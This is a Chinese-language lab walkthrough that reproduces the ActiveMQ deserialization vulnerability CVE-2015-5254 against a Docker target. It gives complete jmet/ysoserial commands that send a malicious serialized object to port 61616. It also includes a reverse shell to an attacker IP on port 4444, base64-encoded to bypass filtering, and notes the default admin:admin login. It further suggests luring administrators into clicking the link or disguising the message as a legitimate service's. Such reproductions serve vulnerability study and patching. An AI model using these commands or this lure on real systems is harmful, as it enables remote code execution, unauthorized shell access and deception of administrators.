天天看点

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

一、简介

  • Apache ActiveMQ

    是老外所研发的一套

    开源的消息中间件

    ,它支持Java消息服务、集群、Spring Framework等。该漏洞源于程序没有限制可在代理中序列化的类。攻击者可以

    借助特制的序列化的java消息服务(JMS)ObjectMessage对象

    利用该漏洞执行恶意代码。
  • 漏洞影响的版本为:

    Apache ActiveMQ 5.13.0

    之前的版本。

二、漏洞环境准备

pull下来内容

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

环境运行后,将监听

61616

8161

两个端口。其中

61616是工作端口,消息在这个端口进行传递

8161是Web管理页面端口

。访问

http://192.168.15.148:8161

即可看到web管理页面,不过这个漏洞理论上是不需要web的。默认的登录是

admin:admin

(activemq弱口令)

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

三、漏洞复现

步骤如下:

  • (1)、构造

    可以执行命令的序列化对象

  • (2)、将这个对象作为一个消息,发送给目标的

    61616端口

  • (3)、访问web管理页面(8161端口),读取消息,触发漏洞

另:这里使用

jmet

进行漏洞的利用,

jmet

的原理是使用

ysoserial

( 它集合了各种

java反序列化漏洞

) 生成payload并发送,

jmet的jar自带ysoserial

,所以我们需要在

ysoserial

gedget

中选择一个可以使用的,比如

ROME

我们首先下载

jmet

,网址为:

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

下载好了之后把他放到

kali的/opt

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

然后我们执行命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.15.148 61616

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

此时会给目标的

ActiveMQ

中添加一个名为

event

的队列,可通过:

http://192.168.15.148:8161/admin/browse.jsp?JMSDestination=event

,访问。看到这个队列中的所有消息。

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

点击这条消息可以触发命令执行

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

在靶机中进入容器,命令:

docker ps ; docker exec -it ad2 /bin/bash

。我们可以看到

success

已经成功的写入了

/tmp

目录下。

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

我们利用该漏洞还可达到反弹shell的效果,我们的反弹shell命令为:

bash -i >& /dev/tcp/192.168.15.129/4444 0>&1

=>

经过base64编码为

=>

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=

最终的反弹shell为:

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

这里经过的变化是这样的:

bash -i >& /dev/tcp/攻击机IP/4444 0>&1

不过是需要做一下绕过的

bash -c {echo payload的base64编码}|{base64, -d}|{bash, -i}

在kali中执行:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.15.148 61616

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

事件写入成功

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

监听

4444端口

,然后点击事件即可

反弹shell成功

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

值得注意的是,

通过web管理页面访问消息并触发漏洞这个过程需要管理员权限

。在没有密码的情况下,我们

可以诱导管理员访问我们的链接以触发

,或者

伪装成其他合法服务

需要的消息,等待客户端访问的时候触发。

使用完了之后不要忘了关闭容器偶

【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)一、简介二、漏洞环境准备三、漏洞复现四、可利用的版本

四、可利用的版本

  • 漏洞影响的版本为:Apache ActiveMQ 5.13.0之前的版本。

继续阅读